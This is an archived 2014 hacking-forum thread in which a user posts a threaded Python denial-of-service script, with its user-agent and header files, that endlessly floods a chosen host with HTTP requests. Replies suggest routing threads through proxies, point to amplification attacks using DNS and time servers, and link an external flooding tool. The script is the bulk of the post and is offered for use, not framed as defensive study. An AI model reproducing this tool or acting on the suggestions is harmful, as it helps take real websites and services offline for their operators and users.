This forum is in archive mode. You will not be able to post new content.

Author Topic: Python Dos Script  (Read 10835 times)

0 Members and 1 Guest are viewing this topic.

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Python Dos Script
« on: November 07, 2014, 08:29:24 PM »
hey guys this is my dos script with threading capabilities:

UserAgent.txt

Code: [Select]
Linux / Firefox 29: Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0
Linux / Chrome 34: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Mac / Firefox 29: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0
Mac / Chrome 34: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Mac / Safari 7: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14
Windows / Firefox 29: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Windows / Chrome 34: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Windows / IE 6: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Windows / IE 7: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Windows / IE 8: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
Windows / IE 9: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Windows / IE 10: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Windows / IE 11: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Android / Firefox 29: Mozilla/5.0 (Android; Mobile; rv:29.0) Gecko/29.0 Firefox/29.0
Android / Chrome 34: Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36
iOS / Chrome 34: Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) CriOS/34.0.1847.18 Mobile/11B554a Safari/9537.53
iOS / Safari 7: Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53


headers.txt

Code: [Select]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

Dos Script
Code: (Python) [Select]

#Demonstration of a Denial of service attack.

import threading
import socket
import random
import sys

global headers,UsAg,host,port

def UserAgent():
    userAg=[]
    File=open("C:\\UserAgent.txt","r")   #your path
    for line in File:
        userAg.append(line)
    return userAg

def TakeDown(host="",port=80):
    try:
        sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    except socket.error,msg:
        print"Error:",msg
    else:
        try:
            host=socket.gethostbyname(host)
        except socket.gaierror:
            print"Could not resolve hostname."
            sys.exit()
        else:
            packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(UsAg)+"\n"+headers).encode('utf-8')
            if sock.connect_ex((host,port))==0:
                if sock.sendall(packet)==None:
                    print"Packet sent successfuly!"
                    sock.close()
                else:
                    print"Error while sending!"
                    sys.exit()

if __name__=="__main__":
    host=raw_input("Enter host address:")
    port=raw_input("Enter port number:")
    threads=raw_input("Enter number of threads:")
    threads=int(threads)
    port=int(port)
    UsAg=UserAgent()
   
    fp=open("C:headers.txt","r")
    headers=fp.read()
    fp.close()
    while True:
        for i in range(threads):
            th=threading.Thread(target=TakeDown,args=(host,port,),name="User-"+str(1))
            th.Daemon=True #thread dies if it exits!
            th.start()
            th.join()#make the attack sequential
       
   
       

       
       
       
                       
It is not DDos script since it requires distributed computing(multiple computers) to be Ddos attack
« Last Edit: November 07, 2014, 09:50:44 PM by $Clone »

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: Python Dos Script
« Reply #1 on: November 07, 2014, 09:23:24 PM »
Personally i wouldn't hardcode a variable file path in a script e.g your useragent.txt and headers.txt files. i could advise either you try using the current directory if hardcoding: "./filename.ext" or better you could let it be supplied on the command line where also the current dir path can still be supplied. Now your script will require come adjustment to work on *nix.

Script could use argparse for the user to specify number of threads to spawn and other pallelising stuff; could also use a proxy list where a thread could use a different proxy[just a thought, never tried it in reality].

Script would be fine as PoC or for learning purposes but if you would ever go Dosing then i would suggest scripting afew better methods of DDosing like DNS amplification and Time servers stuff.

MTOBIYFA
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Re: Python Dos Script
« Reply #2 on: November 07, 2014, 09:53:52 PM »
I get you bro so i guess for anyone looking for anything fancy please check out
https://github.com/cyweb/hammer/blob/master/hammer.py

 ;)

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: Python Dos Script
« Reply #3 on: November 07, 2014, 10:05:22 PM »
If that aint your code then why are you giving up and sending people to someone else's. Learn from other scripts to make yours the best. Get rid of the headers and u-gents text file[probably] and keep an in memory list of them in your code. If the main code will become blotted then write a different module and put them there. I hate to see people quit.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Re: Python Dos Script
« Reply #4 on: November 07, 2014, 10:55:58 PM »
not quiting not my kind of style just thought pple should see what you ment before

Offline Rianwanibazn

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: Python Dos Script
« Reply #5 on: November 10, 2014, 05:16:11 PM »
Thanks for sharing your code.  After reading a few times, I understand most of it, but have one question.  How do you stop it? Would this just be stopped by pressing ctrl-c while you are running it in terminal or something like that?

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: Python Dos Script
« Reply #6 on: November 10, 2014, 06:15:48 PM »
Thanks for sharing your code.  After reading a few times, I understand most of it, but have one question.  How do you stop it? Would this just be stopped by pressing ctrl-c while you are running it in terminal or something like that?

That is an acceptable way of killing such programs indeed.
Only when you have for example a logfile or database it is recommended to do a clean shutdown.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Re: Python Dos Script
« Reply #7 on: November 10, 2014, 11:24:58 PM »
Thanks for sharing your code.  After reading a few times, I understand most of it, but have one question.  How do you stop it? Would this just be stopped by pressing ctrl-c while you are running it in terminal or something like that?

 :(  I wanted to delete the post .....but Yeah! you stop it by killing the program or ctrl+c but its was meant to simple for anyone to understand.

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.